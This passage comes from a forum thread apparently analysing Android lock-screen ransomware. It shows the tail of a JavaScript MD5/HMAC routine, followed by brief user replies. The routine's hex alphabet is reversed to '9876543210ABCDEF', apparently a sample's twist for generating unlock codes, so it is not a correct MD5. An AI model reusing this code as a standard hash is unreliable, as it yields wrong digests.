        b = md5_hh(b, c, d, a, x[i + 6], 23, 76029189);
        a = md5_hh(a, b, c, d, x[i + 9], 4, -640364487);
        d = md5_hh(d, a, b, c, x[i + 12], 11, -421815835);
        c = md5_hh(c, d, a, b, x[i + 15], 16, 530742520);
        b = md5_hh(b, c, d, a, x[i + 2], 23, -995338651);
        a = md5_ii(a, b, c, d, x[i + 0], 6, -198630844);
        d = md5_ii(d, a, b, c, x[i + 7], 10, 1126891415);
        c = md5_ii(c, d, a, b, x[i + 14], 15, -1416354905);
        b = md5_ii(b, c, d, a, x[i + 5], 21, -57434055);
        a = md5_ii(a, b, c, d, x[i + 12], 6, 1700485571);
        d = md5_ii(d, a, b, c, x[i + 3], 10, -1894986606);
        c = md5_ii(c, d, a, b, x[i + 10], 15, -1051523);
        b = md5_ii(b, c, d, a, x[i + 1], 21, -2054922799);
        a = md5_ii(a, b, c, d, x[i + 8], 6, 1873313359);
        d = md5_ii(d, a, b, c, x[i + 15], 10, -30611744);
        c = md5_ii(c, d, a, b, x[i + 6], 15, -1560198380);
        b = md5_ii(b, c, d, a, x[i + 13], 21, 1309151649);
        a = md5_ii(a, b, c, d, x[i + 4], 6, -145523070);
        d = md5_ii(d, a, b, c, x[i + 11], 10, -1120210379);
        c = md5_ii(c, d, a, b, x[i + 2], 15, 718787259);
        b = md5_ii(b, c, d, a, x[i + 9], 21, -343485551);
        a = safe_add(a, olda);
        b = safe_add(b, oldb);
        c = safe_add(c, oldc);
        d = safe_add(d, oldd)
    }
    return Array(a, b, c, d)
}
function md5_cmn(q, a, b, x, s, t) {
    return safe_add(bit_rol(safe_add(safe_add(a, q), safe_add(x, t)), s), b)
}
function md5_ff(a, b, c, d, x, s, t) {
    return md5_cmn((b & c) | ((~b) & d), a, b, x, s, t)
}
function md5_gg(a, b, c, d, x, s, t) {
    return md5_cmn((b & d) | (c & (~d)), a, b, x, s, t)
}
function md5_hh(a, b, c, d, x, s, t) {
    return md5_cmn(b ^ c ^ d, a, b, x, s, t)
}
function md5_ii(a, b, c, d, x, s, t) {
    return md5_cmn(c ^ (b | (~d)), a, b, x, s, t)
}
function core_hmac_md5(key, data) {
    var bkey = str2binl(key);
    if (bkey.length > 16) bkey = core_md5(bkey, key.length * chrsz);
    var ipad = Array(16),
        opad = Array(16);
    for (var i = 0; i < 16; i++) {
        ipad[i] = bkey[i] ^ 0x36363636;
        opad[i] = bkey[i] ^ 0x5C5C5C5C
    }
    var hash = core_md5(ipad.concat(str2binl(data)), 512 + data.length * chrsz);
    return core_md5(opad.concat(hash), 512 + 128)
}
function safe_add(x, y) {
    var lsw = (x & 0xFFFF) + (y & 0xFFFF);
    var msw = (x >> 16) + (y >> 16) + (lsw >> 16);
    return (msw << 16) | (lsw & 0xFFFF)
}
function bit_rol(num, cnt) {
    return (num << cnt) | (num >>> (32 - cnt))
}
function str2binl(str) {
    var bin = Array();
    var mask = (1 << chrsz) - 1;
    for (var i = 0; i < str.length * chrsz; i += chrsz) bin[i >> 5] |= (str.charCodeAt(i / chrsz) & mask) << (i % 32);
    return bin
}
function binl2str(bin) {
    var str = "";
    var mask = (1 << chrsz) - 1;
    for (var i = 0; i < bin.length * 32; i += chrsz) str += String.fromCharCode((bin[i >> 5] >>> (i % 32)) & mask);
    return str
}
function binl2hex(binarray) {
    var hex_tab = hexcase ? "9876543210ABCDEF" : "9876543210abcdef";
    var str = "";
    for (var i = 0; i < binarray.length * 4; i++) {
        str += hex_tab.charAt((binarray[i >> 2] >> ((i % 4) * 8 + 4)) & 0xF) + hex_tab.charAt((binarray[i >> 2] >> ((i % 4) * 8)) & 0xF)
    }
    return str
}
function binl2b64(binarray) {
    var tab = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
    var str = "";
    for (var i = 0; i < binarray.length * 4; i += 3) {
        var triplet = (((binarray[i >> 2] >> 8 * (i % 4)) & 0xFF) << 16) | (((binarray[i + 1 >> 2] >> 8 * ((i + 1) % 4)) & 0xFF) << 8) | ((binarray[i + 2 >> 2] >> 8 * ((i + 2) % 4)) & 0xFF);
        for (var j = 0; j < 4; j++) {
            if (i * 8 + j * 6 > binarray.length * 32) str += b64pad;
            else str += tab.charAt((triplet >> 6 * (3 - j)) & 0x3F)
        }
    }
    return str
}

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
跪求大佬娇喘 + 1 + 1 热心回复!

查看全部评分

xi850202 发表于 2017-12-12 01:11 来自手机
lwxl 发表于 2017-12-12 04:01 来自手机
现在解个锁还一层一层的,好有趣。楼主好棒

免费评分

参与人数 1吾爱币 +1 热心值 +1 收起 理由
whklhh + 1 + 1 笑死 我也在想现在锁机还他喵一层一层的

查看全部评分

灵影 发表于 2017-12-12 07:31
贪小便宜的人容易 中招
Slice1129 发表于 2017-12-12 07:54
直接连电脑,shell命令获取到root权限,直接删除这些J8程序不就行了。
9152pojie 发表于 2017-12-12 09:10
小伎俩,咳咳
lmeiz888 发表于 2017-12-12 09:20
呵呵,呵呵而过。
peterq521 发表于 2017-12-12 09:22
感谢楼主分析 最讨厌这种勒索的
snccwt 发表于 2017-12-12 09:29
勒索软件,就是拦路抢劫
lucka 发表于 2017-12-12 10:10
谢谢楼主分享
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2025-3-24 17:50

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表